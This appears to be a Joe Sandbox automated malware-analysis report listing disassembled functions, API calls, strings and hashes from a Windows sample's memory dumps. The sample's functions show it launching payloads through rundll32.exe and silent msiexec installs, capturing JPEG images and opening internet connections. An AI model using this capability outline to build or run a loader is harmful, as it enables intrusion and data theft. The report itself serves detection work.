Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: 8c754503f656d47cc0a554ca0e77a6eea54e7d8e56379b94e6e7b6ab617a54f4
Instruction ID: fb89f3211d8469d18b77f9f9cc23f2027db3f6b93e4a5ba45e7e401645d46d6e
Opcode Fuzzy Hash: 8c754503f656d47cc0a554ca0e77a6eea54e7d8e56379b94e6e7b6ab617a54f4
Instruction Fuzzy Hash: 3CE10372D00248ABDB14EBA4DD95FEE7778AF64300F40415AF507A7291EF306A4ACF66

Function 6CBC9590 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBB31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CBB3217
Part of subcall function 6CBB31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CBB3236
Part of subcall function 6CBB31C0: FreeLibrary.KERNEL32 ref: 6CBB324B
Part of subcall function 6CBB31C0: __Init_thread_footer.LIBCMT ref: 6CBB3260
Part of subcall function 6CBB31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CBB327F
Part of subcall function 6CBB31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBB328E
Part of subcall function 6CBB31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CBB32AB
Part of subcall function 6CBB31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CBB32D1
Part of subcall function 6CBB31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CBB32E5
Part of subcall function 6CBB31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CBB32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CBC9675
__Init_thread_footer.LIBCMT ref: 6CBC9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CBC96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CBC9707
__Init_thread_footer.LIBCMT ref: 6CBC971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBC9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CBC97B7
FreeLibrary.KERNEL32 ref: 6CBC97D0
FreeLibrary.KERNEL32 ref: 6CBC97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBC9824

Strings

MapViewOfFileNuma2, xrefs: 6CBC97B1
7S+Y/, xrefs: 6CBC959E, 6CBC9632
NtMapViewOfSection, xrefs: 6CBC9701
ntdll.dll, xrefs: 6CBC96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CBC9670

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: 7S+Y/$Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3384440597
Opcode ID: 8454f4bb43b362cabc5acaafcae94ea19f30dd7f2c2b5dcd6937148a1817daba
Instruction ID: 411f525a224c4db3f3bbf0407086c45ddefaaf264c37f241cec47de10d815011
Opcode Fuzzy Hash: 8454f4bb43b362cabc5acaafcae94ea19f30dd7f2c2b5dcd6937148a1817daba
Instruction Fuzzy Hash: C661C471B003459FEF10DFA9F888B9A7BB4EB4B358F004969E91D97790D7309854CB92

Function 6CC0D4D0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC0D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC0D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC0D52A
GetCurrentThreadId.KERNEL32 ref: 6CC0D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC0D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC0D55F
free.MOZGLUE(00000000), ref: 6CC0D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CC0D5D3
GetCurrentThreadId.KERNEL32 ref: 6CC0D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC0D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC0D652
GetCurrentThreadId.KERNEL32 ref: 6CC0D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC0D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC0D6A2

Strings

7S+Y/, xrefs: 6CC0D4E1, 6CC0D5EE

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID: 7S+Y/
API String ID: 2206442479-4163584386
Opcode ID: 59afccb7f8744f56dcc3638390cf4c30014cf6cd67a264517abdd7d545eae1f0
Instruction ID: ddd9645d2adc3dc6b814ff2dbdd31de0453783776a7d4b67c4220474de825ca7
Opcode Fuzzy Hash: 59afccb7f8744f56dcc3638390cf4c30014cf6cd67a264517abdd7d545eae1f0
Instruction Fuzzy Hash: E2517BB1604B05DFC714DF25D498A9ABBB4FF89318F008A2EE84A87750EB31E945CB91

Function 00AD9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00AD906C

Strings

image/jpeg, xrefs: 00AD9136

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: f187612bc6a528a63eb639fac1001bb0effa77ed66062baae27fa40ece53df16
Instruction ID: a83f0d49945d9a305ea1d738f403966edeca7c7de13a50c05ede478770c8348c
Opcode Fuzzy Hash: f187612bc6a528a63eb639fac1001bb0effa77ed66062baae27fa40ece53df16
Instruction Fuzzy Hash: 4671CC75A10308ABDB04DBE8DD89FEEB7B8BB48700F108509F516E7290DB75E905CB61

Function 00AD17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00AD17C5
ExitProcess.KERNEL32 ref: 00AD17D1

Strings

block, xrefs: 00AD17B7

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: d5e9d4b0096e79ebac07b96640e62e08172e4b76c5b36358742f8677f7f95c02
Instruction ID: c5762f2092d475f00d10953067aec91851c4d5a6f6312a83879ec926d7c8d2c0
Opcode Fuzzy Hash: d5e9d4b0096e79ebac07b96640e62e08172e4b76c5b36358742f8677f7f95c02
Instruction Fuzzy Hash: A65159B4A00209FBDB04DFA5D9A4BBE77B5BF44704F10944AE807A7350E7B0EA51DB62

Function 6CC1AC20 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CC1AC52
CreateFileMappingW.KERNEL32 ref: 6CC1AC7D
GetSystemInfo.KERNEL32 ref: 6CC1AC98
MapViewOfFile.KERNEL32 ref: 6CC1ACB0
GetSystemInfo.KERNEL32 ref: 6CC1ACCD
MapViewOfFile.KERNEL32 ref: 6CC1AD05
UnmapViewOfFile.KERNEL32 ref: 6CC1AD1C
CloseHandle.KERNEL32 ref: 6CC1AD28
UnmapViewOfFile.KERNEL32 ref: 6CC1AD37
CloseHandle.KERNEL32 ref: 6CC1AD43
CloseHandle.KERNEL32 ref: 6CC1AD67

Strings

7S+Y/, xrefs: 6CC1AC29

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID: 7S+Y/
API String ID: 1192971331-4163584386
Opcode ID: 4d75d4956dcac251e7fa7c52c6dcf65ddfd7b0b9bdbc6577d57f371c216e2091
Instruction ID: 03795afcc2191a7451695062fbe153b30c9056dbc803bac2e34341bbd44029be
Opcode Fuzzy Hash: 4d75d4956dcac251e7fa7c52c6dcf65ddfd7b0b9bdbc6577d57f371c216e2091
Instruction Fuzzy Hash: 973152B1904B058FDB00BF7DD64826EBBF0FF85315F01492DE98997251EB749449CB82

Function 00AD2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

ShellExecuteEx.SHELL32(0000003C), ref: 00AD31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00AD335D
ShellExecuteEx.SHELL32(0000003C), ref: 00AD34EA

Strings

/i ", xrefs: 00AD33E4
/passive, xrefs: 00AD345B
C:\Windows\system32\msiexec.exe, xrefs: 00AD34BF
"" , xrefs: 00AD309A
.msi, xrefs: 00AD3398
<, xrefs: 00AD3490
C:\Windows\system32\rundll32.exe, xrefs: 00AD3332
.dll, xrefs: 00AD31E5

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: b3699b99c5846d42befc126ddb6f8b75706dc7a5341cbea74b3460f767f7eaa0
Instruction ID: 4ea2d7e61b950b2ffafe18f21d91b5d6d423c826d9cc75a5b4326488b4e260a0
Opcode Fuzzy Hash: b3699b99c5846d42befc126ddb6f8b75706dc7a5341cbea74b3460f767f7eaa0
Instruction Fuzzy Hash: 361210719001489ADB05FBA0DE92FEDB738AF24300F50455AF50776291EF742B4ADFA6

Function 6CBB3480 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CBB3284,?,?,6CBD56F6), ref: 6CBB3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CBB3284,?,?,6CBD56F6), ref: 6CBB34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CBB3284,?,?,6CBD56F6), ref: 6CBB34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CBB350E
__Init_thread_footer.LIBCMT ref: 6CBB3522
__aulldiv.LIBCMT ref: 6CBB3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CBB3284,?,?,6CBD56F6), ref: 6CBB357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CBB3284,?,?,6CBD56F6), ref: 6CBB3592

Part of subcall function 6CBEAB89: EnterCriticalSection.KERNEL32(6CC3E370,?,?,?,6CBB34DE,6CC3F6CC,?,?,?,?,?,?,?,6CBB3284), ref: 6CBEAB94
Part of subcall function 6CBEAB89: LeaveCriticalSection.KERNEL32(6CC3E370,?,6CBB34DE,6CC3F6CC,?,?,?,?,?,?,?,6CBB3284,?,?,6CBD56F6), ref: 6CBEABD1

Strings

7S+Y/, xrefs: 6CBB3488
kernel32.dll, xrefs: 6CBB34EA
GetSystemTimePreciseAsFileTime, xrefs: 6CBB3508

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: 7S+Y/$GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-2076909565
Opcode ID: 465b0d1400d9555f5bafac4f9e0b3937f236573903a5fef55f4119df4ba74cbf
Instruction ID: 63bb94e20e25ad264c4365a3fd24a53347ebb50aec2a7ca0b2df756be5a34625
Opcode Fuzzy Hash: 465b0d1400d9555f5bafac4f9e0b3937f236573903a5fef55f4119df4ba74cbf
Instruction Fuzzy Hash: 13318D71B002469FDF20EBB9E968AAE77B9EB49705F104419E509A3690EF70ED04CB61

Function 6CBFEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBC4A68), ref: 6CBF945E
Part of subcall function 6CBF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CBF9470
Part of subcall function 6CBF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CBF9482
Part of subcall function 6CBF9420: __Init_thread_footer.LIBCMT ref: 6CBF949F

GetCurrentThreadId.KERNEL32 ref: 6CBFEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBFEC8C

Part of subcall function 6CBF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CBF94EE
Part of subcall function 6CBF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CBF9508

GetCurrentThreadId.KERNEL32 ref: 6CBFECA1
AcquireSRWLockExclusive.KERNEL32(6CC3F4B8), ref: 6CBFECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CBFECC5
ReleaseSRWLockExclusive.KERNEL32(6CC3F4B8), ref: 6CBFED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CBFED19
CloseHandle.KERNEL32(?), ref: 6CBFED28
free.MOZGLUE(00000000), ref: 6CBFED2F
ReleaseSRWLockExclusive.KERNEL32(6CC3F4B8), ref: 6CBFED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CBFEC94

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 2862c049cd581866440cace62445b6b1073f6249b730e443d35a691992a150b7
Instruction ID: 524653a7fc0a48dd253aa972203b1cdefe3d293afac46888ac44c66cb7887804
Opcode Fuzzy Hash: 2862c049cd581866440cace62445b6b1073f6249b730e443d35a691992a150b7
Instruction Fuzzy Hash: D8210579600594AFDB109F28F814AAE7739EB4636DF104210FD2C87F81DB31980A8BB2

Function 00AD52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Part of subcall function 00AC6280: InternetOpenA.WININET(00AE0DFE,00000001,00000000,00000000,00000000), ref: 00AC62E1
Part of subcall function 00AC6280: StrCmpCA.SHLWAPI(?,0178E2B0), ref: 00AC6303
Part of subcall function 00AC6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AC6335
